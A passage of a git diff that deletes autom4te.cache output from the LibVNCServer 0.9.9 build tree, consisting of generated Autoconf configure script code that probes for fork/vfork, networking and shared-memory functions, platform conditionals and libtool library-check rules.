-
-done
-
-for ac_func in fork vfork
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-if test "x$ac_cv_func_fork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working fork" >&5
-$as_echo_n "checking for working fork... " >&6; }
-if ${ac_cv_func_fork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_fork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* By Ruediger Kuhlmann. */
- return fork () < 0;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_fork_works=yes
-else
- ac_cv_func_fork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_fork_works" >&5
-$as_echo "$ac_cv_func_fork_works" >&6; }
-
-else
- ac_cv_func_fork_works=$ac_cv_func_fork
-fi
-if test "x$ac_cv_func_fork_works" = xcross; then
- case $host in
- *-*-amigaos* | *-*-msdosdjgpp*)
- # Override, as these systems have only a dummy fork() stub
- ac_cv_func_fork_works=no
- ;;
- *)
- ac_cv_func_fork_works=yes
- ;;
- esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&2;}
-fi
-ac_cv_func_vfork_works=$ac_cv_func_vfork
-if test "x$ac_cv_func_vfork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working vfork" >&5
-$as_echo_n "checking for working vfork... " >&6; }
-if ${ac_cv_func_vfork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_vfork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Thanks to Paul Eggert for this test. */
-$ac_includes_default
-#include <sys/wait.h>
-#ifdef HAVE_VFORK_H
-# include <vfork.h>
-#endif
-/* On some sparc systems, changes by the child to local and incoming
- argument registers are propagated back to the parent. The compiler
- is told about this with #include <vfork.h>, but some compilers
- (e.g. gcc -O) don't grok <vfork.h>. Test for this by using a
- static variable whose address is put into a register that is
- clobbered by the vfork. */
-static void
-#ifdef __cplusplus
-sparc_address_test (int arg)
-# else
-sparc_address_test (arg) int arg;
-#endif
-{
- static pid_t child;
- if (!child) {
- child = vfork ();
- if (child < 0) {
- perror ("vfork");
- _exit(2);
- }
- if (!child) {
- arg = getpid();
- write(-1, "", 0);
- _exit (arg);
- }
- }
-}
-
-int
-main ()
-{
- pid_t parent = getpid ();
- pid_t child;
-
- sparc_address_test (0);
-
- child = vfork ();
-
- if (child == 0) {
- /* Here is another test for sparc vfork register problems. This
- test uses lots of local variables, at least as many local
- variables as main has allocated so far including compiler
- temporaries. 4 locals are enough for gcc 1.40.3 on a Solaris
- 4.1.3 sparc, but we use 8 to be safe. A buggy compiler should
- reuse the register of parent for one of the local variables,
- since it will think that parent can't possibly be used any more
- in this routine. Assigning to the local variable will thus
- munge parent in the parent process. */
- pid_t
- p = getpid(), p1 = getpid(), p2 = getpid(), p3 = getpid(),
- p4 = getpid(), p5 = getpid(), p6 = getpid(), p7 = getpid();
- /* Convince the compiler that p..p7 are live; otherwise, it might
- use the same hardware register for all 8 local variables. */
- if (p != p1 || p != p2 || p != p3 || p != p4
- || p != p5 || p != p6 || p != p7)
- _exit(1);
-
- /* On some systems (e.g. IRIX 3.3), vfork doesn't separate parent
- from child file descriptors. If the child closes a descriptor
- before it execs or exits, this munges the parent's descriptor
- as well. Test for this by closing stdout in the child. */
- _exit(close(fileno(stdout)) != 0);
- } else {
- int status;
- struct stat st;
-
- while (wait(&status) != child)
- ;
- return (
- /* Was there some problem with vforking? */
- child < 0
-
- /* Did the child fail? (This shouldn't happen.) */
- || status
-
- /* Did the vfork/compiler bug occur? */
- || parent != getpid()
-
- /* Did the file descriptor bug occur? */
- || fstat(fileno(stdout), &st) != 0
- );
- }
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_vfork_works=yes
-else
- ac_cv_func_vfork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_vfork_works" >&5
-$as_echo "$ac_cv_func_vfork_works" >&6; }
-
-fi;
-if test "x$ac_cv_func_fork_works" = xcross; then
- ac_cv_func_vfork_works=$ac_cv_func_vfork
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&2;}
-fi
-
-if test "x$ac_cv_func_vfork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_VFORK 1" >>confdefs.h
-
-else
-
-$as_echo "@%:@define vfork fork" >>confdefs.h
-
-fi
-if test "x$ac_cv_func_fork_works" = xyes; then
-
-$as_echo "@%:@define HAVE_WORKING_FORK 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBNSL 1
-_ACEOF
-
- LIBS="-lnsl $LIBS"
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socket in -lsocket" >&5
-$as_echo_n "checking for socket in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_socket+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char socket ();
-int
-main ()
-{
-return socket ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_socket=yes
-else
- ac_cv_lib_socket_socket=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_socket" >&5
-$as_echo "$ac_cv_lib_socket_socket" >&6; }
-if test "x$ac_cv_lib_socket_socket" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBSOCKET 1
-_ACEOF
-
- LIBS="-lsocket $LIBS"
-
-fi
-
-
-uname_s=`(uname -s) 2>/dev/null`
-if test "x$uname_s" = "xHP-UX"; then
- # need -lsec for getspnam()
- LDFLAGS="$LDFLAGS -lsec"
-fi
-
-for ac_func in ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_func in setsid setpgrp getpwuid getpwnam getspnam getuid geteuid setuid setgid seteuid setegid initgroups waitpid setutxent grantpt shmat
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-fi
-
-# check, if shmget is in cygipc.a
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmget in -lcygipc" >&5
-$as_echo_n "checking for shmget in -lcygipc... " >&6; }
-if ${ac_cv_lib_cygipc_shmget+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcygipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmget ();
-int
-main ()
-{
-return shmget ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_cygipc_shmget=yes
-else
- ac_cv_lib_cygipc_shmget=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_cygipc_shmget" >&5
-$as_echo "$ac_cv_lib_cygipc_shmget" >&6; }
-if test "x$ac_cv_lib_cygipc_shmget" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBCYGIPC 1
-_ACEOF
-
- LIBS="-lcygipc $LIBS"
-
-fi
-
- if test "$HAVE_CYGIPC" = "true"; then
- CYGIPC_TRUE=
- CYGIPC_FALSE='#'
-else
- CYGIPC_TRUE='#'
- CYGIPC_FALSE=
-fi
-
-
-# Check if /usr/include/linux exists, if so, define LINUX
- if test -d /usr/include/linux; then
- LINUX_TRUE=
- LINUX_FALSE='#'
-else
- LINUX_TRUE='#'
- LINUX_FALSE=
-fi
-
-
-# Check for OS X specific header
-ac_fn_c_check_header_mongrel "$LINENO" "ApplicationServices/ApplicationServices.h" "ac_cv_header_ApplicationServices_ApplicationServices_h" "$ac_includes_default"
-if test "x$ac_cv_header_ApplicationServices_ApplicationServices_h" = xyes; then :
- HAVE_OSX="true"
-fi
-
-
- if test "$HAVE_OSX" = "true"; then
- OSX_TRUE=
- OSX_FALSE='#'
-else
- OSX_TRUE='#'
- OSX_FALSE=
-fi
-
-
-# Check for Android specific header
-ac_fn_c_check_header_mongrel "$LINENO" "android/api-level.h" "ac_cv_header_android_api_level_h" "$ac_includes_default"
-if test "x$ac_cv_header_android_api_level_h" = xyes; then :
- HAVE_ANDROID="true"
-fi
-
-
- if test "$HAVE_ANDROID" = "true"; then
- ANDROID_TRUE=
- ANDROID_FALSE='#'
-else
- ANDROID_TRUE='#'
- ANDROID_FALSE=
-fi
-
-if test "$HAVE_ANDROID" = "true"; then
-
-$as_echo "@%:@define HAVE_ANDROID 1" >>confdefs.h
-
-fi
-
-# On Solaris 2.7, write() returns ENOENT when it really means EAGAIN
-
-case `(uname -sr) 2>/dev/null` in
- "SunOS 5.7")
- $as_echo "@%:@define ENOENT_WORKAROUND 1" >>confdefs.h
-
- ;;
-esac
-
-# Check for rpm SOURCES path
-printf "checking for rpm sources path... "
-RPMSOURCEDIR="NOT-FOUND"
-for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do
- if test -d /usr/src/${directory}/SOURCES; then
- RPMSOURCEDIR="/usr/src/${directory}/SOURCES/"
- fi
-done
-echo "$RPMSOURCEDIR"
- if test "$RPMSOURCEDIR" != "NOT-FOUND"; then
- HAVE_RPM_TRUE=
- HAVE_RPM_FALSE='#'
-else
- HAVE_RPM_TRUE='#'
- HAVE_RPM_FALSE=
-fi
-
- if test "$build_x11vnc" = "yes"; then
- WITH_X11VNC_TRUE=
- WITH_X11VNC_FALSE='#'
-else
- WITH_X11VNC_TRUE='#'
- WITH_X11VNC_FALSE=
-fi
-
-
-
-ac_config_files="$ac_config_files Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile vncterm/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec"
-
-#
-# x11vnc only:
-#
-if test "$build_x11vnc" = "yes"; then
- #
- # NOTE: if you are using the LibVNCServer-X.Y.Z.tar.gz source
- # tarball and nevertheless want to run autoconf (i.e. aclocal,
- # autoheader, automake, autoconf) AGAIN (perhaps you have a
- # special target system, e.g. embedded) then you will need to
- # comment out the following 'AC_CONFIG_FILES' line to avoid
- # automake error messages like:
- #
- # configure.ac:690: required file `x11vnc/Makefile.in' not found
- #
- ac_config_files="$ac_config_files x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile"
-
-
- if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- # need to move local tarball rfb headers aside:
- hdrs="rfb.h rfbclient.h rfbproto.h rfbregion.h rfbint.h"
- echo "with-system-libvncserver: moving aside headers $hdrs"
- for hdr in $hdrs
- do
- if test -f "rfb/$hdr"; then
- echo "with-system-libvncserver: moving rfb/$hdr to rfb/$hdr.ORIG"
- mv rfb/$hdr rfb/$hdr.ORIG
- fi
- done
- echo "with-system-libvncserver: *NOTE* move them back manually to start over."
- fi
-fi
-
-ac_config_commands="$ac_config_commands chmod-libvncserver-config"
-
-cat >confcache <<\_ACEOF
-# This file is a shell script that caches the results of configure
-# tests run on this system so they can be shared between configure
-# scripts and configure runs, see configure's option --config-cache.
-# It is not useful on other systems. If it contains results you don't
-# want to keep, you may remove or edit it.
-#
-# config.status only pays attention to the cache file if you give it
-# the --recheck option to rerun configure.
-#
-# `ac_cv_env_foo' variables (set or unset) will be overridden when
-# loading this file, other *unset* `ac_cv_foo' will be assigned the
-# following values.
-
-_ACEOF
-
-# The following way of writing the cache mishandles newlines in values,
-# but we know of no workaround that is simple, portable, and efficient.
-# So, we kill variables containing newlines.
-# Ultrix sh set writes to stderr and can't be redirected directly,
-# and sets the high bit in the cache file unless we assign to the vars.
-(
- for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do
- eval ac_val=\$$ac_var
- case $ac_val in #(
- *${as_nl}*)
- case $ac_var in #(
- *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5
-$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;;
- esac
- case $ac_var in #(
- _ | IFS | as_nl) ;; #(
- BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #(
- *) { eval $ac_var=; unset $ac_var;} ;;
- esac ;;
- esac
- done
-
- (set) 2>&1 |
- case $as_nl`(ac_space=' '; set) 2>&1` in #(
- *${as_nl}ac_space=\ *)
- # `set' does not quote correctly, so add quotes: double-quote
- # substitution turns \\\\ into \\, and sed turns \\ into \.
- sed -n \
- "s/'/'\\\\''/g;
- s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
- ;; #(
- *)
- # `set' quotes correctly as required by POSIX, so do not add quotes.
- sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p"
- ;;
- esac |
- sort
-) |
- sed '
- /^ac_cv_env_/b end
- t clear
- :clear
- s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
- t end
- s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
- :end' >>confcache
-if diff "$cache_file" confcache >/dev/null 2>&1; then :; else
- if test -w "$cache_file"; then
- if test "x$cache_file" != "x/dev/null"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5
-$as_echo "$as_me: updating cache $cache_file" >&6;}
- if test ! -f "$cache_file" || test -h "$cache_file"; then
- cat confcache >"$cache_file"
- else
- case $cache_file in #(
- */* | ?:*)
- mv -f confcache "$cache_file"$$ &&
- mv -f "$cache_file"$$ "$cache_file" ;; #(
- *)
- mv -f confcache "$cache_file" ;;
- esac
- fi
- fi
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5
-$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;}
- fi
-fi
-rm -f confcache
-
-test "x$prefix" = xNONE && prefix=$ac_default_prefix
-# Let make expand exec_prefix.
-test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
-
-DEFS=-DHAVE_CONFIG_H
-
-ac_libobjs=
-ac_ltlibobjs=
-U=
-for ac_i in : $LIB@&t@OBJS; do test "x$ac_i" = x: && continue
- # 1. Remove the extension, and $U if already installed.
- ac_script='s/\$U\././;s/\.o$//;s/\.obj$//'
- ac_i=`$as_echo "$ac_i" | sed "$ac_script"`
- # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR
- # will be set to the directory where LIBOBJS objects are built.
- as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext"
- as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo'
-done
-LIB@&t@OBJS=$ac_libobjs
-
-LTLIBOBJS=$ac_ltlibobjs
-
-
- if test -n "$EXEEXT"; then
- am__EXEEXT_TRUE=
- am__EXEEXT_FALSE='#'
-else
- am__EXEEXT_TRUE='#'
- am__EXEEXT_FALSE=
-fi
-
-if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
- as_fn_error $? "conditional \"AMDEP\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCXX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_FFMPEG_TRUE}" && test -z "${WITH_FFMPEG_FALSE}"; then
- as_fn_error $? "conditional \"WITH_FFMPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_MP3LAME_TRUE}" && test -z "${HAVE_MP3LAME_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_MP3LAME\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSSL_TRUE}" && test -z "${HAVE_LIBSSL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSSL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_X11_TRUE}" && test -z "${HAVE_X11_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_X11\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_OPENGL_TRUE}" && test -z "${OSX_OPENGL_FALSE}"; then
- as_fn_error $? "conditional \"OSX_OPENGL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_SYSTEM_LIBVNCSERVER_TRUE}" && test -z "${HAVE_SYSTEM_LIBVNCSERVER_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_SYSTEM_LIBVNCSERVER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPTHREAD_TRUE}" && test -z "${HAVE_LIBPTHREAD_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPTHREAD\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_TIGHTVNC_FILETRANSFER_TRUE}" && test -z "${WITH_TIGHTVNC_FILETRANSFER_FALSE}"; then
- as_fn_error $? "conditional \"WITH_TIGHTVNC_FILETRANSFER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_WEBSOCKETS_TRUE}" && test -z "${WITH_WEBSOCKETS_FALSE}"; then
- as_fn_error $? "conditional \"WITH_WEBSOCKETS\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBZ_TRUE}" && test -z "${HAVE_LIBZ_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBZ\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBJPEG_TRUE}" && test -z "${HAVE_LIBJPEG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBJPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPNG_TRUE}" && test -z "${HAVE_LIBPNG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPNG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSDL_TRUE}" && test -z "${HAVE_LIBSDL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSDL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBGTK_TRUE}" && test -z "${HAVE_LIBGTK_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBGTK\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${MINGW_TRUE}" && test -z "${MINGW_FALSE}"; then
- as_fn_error $? "conditional \"MINGW\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
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- "client_examples/Makefile") CONFIG_FILES="$CONFIG_FILES client_examples/Makefile" ;;
- "test/Makefile") CONFIG_FILES="$CONFIG_FILES test/Makefile" ;;
- "libvncserver-config") CONFIG_FILES="$CONFIG_FILES libvncserver-config" ;;
- "LibVNCServer.spec") CONFIG_FILES="$CONFIG_FILES LibVNCServer.spec" ;;
- "x11vnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/Makefile" ;;
- "x11vnc/misc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/Makefile" ;;
- "x11vnc/misc/turbovnc/Makefile") CONFIG_FILES="$CONFIG_FILES x11vnc/misc/turbovnc/Makefile" ;;
- "chmod-libvncserver-config") CONFIG_COMMANDS="$CONFIG_COMMANDS chmod-libvncserver-config" ;;
-
- *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;;
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-
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-{
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-{
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-
- print line
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-
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- echo "@%:@define $ac_prefix_conf_DEF 1" >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
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-
- sed -f conftest.prefix $ac_prefix_conf_INP >>$tmp/pconfig.h
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- ac_dir=`$as_dirname -- "$ac_prefix_conf_OUT" ||
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-
diff --git a/autom4te.cache/output.2 b/autom4te.cache/output.2
deleted file mode 100644
index fa4f2ae..0000000
--- a/autom4te.cache/output.2
+++ /dev/null
@@ -1,26571 +0,0 @@
-@%:@! /bin/sh
-@%:@ Guess values for system-dependent variables and create Makefiles.
-@%:@ Generated by GNU Autoconf 2.69 for LibVNCServer 0.9.9.
-@%:@
-@%:@ Report bugs to <http://sourceforge.net/projects/libvncserver>.
-@%:@
-@%:@
-@%:@ Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
-@%:@
-@%:@
-@%:@ This configure script is free software; the Free Software Foundation
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-## --------------------- ##
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-{
- { eval $1=; unset $1;}
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-{
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
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-beos*)
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- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64'
- lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
- ;;
- hppa*64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$'
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
- fi
- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]'
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )'
- ;;
- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib"
- lt_cv_file_magic_test_file=/lib/libc.so
- ;;
- siemens)
- lt_cv_deplibs_check_method=pass_all
- ;;
- pc)
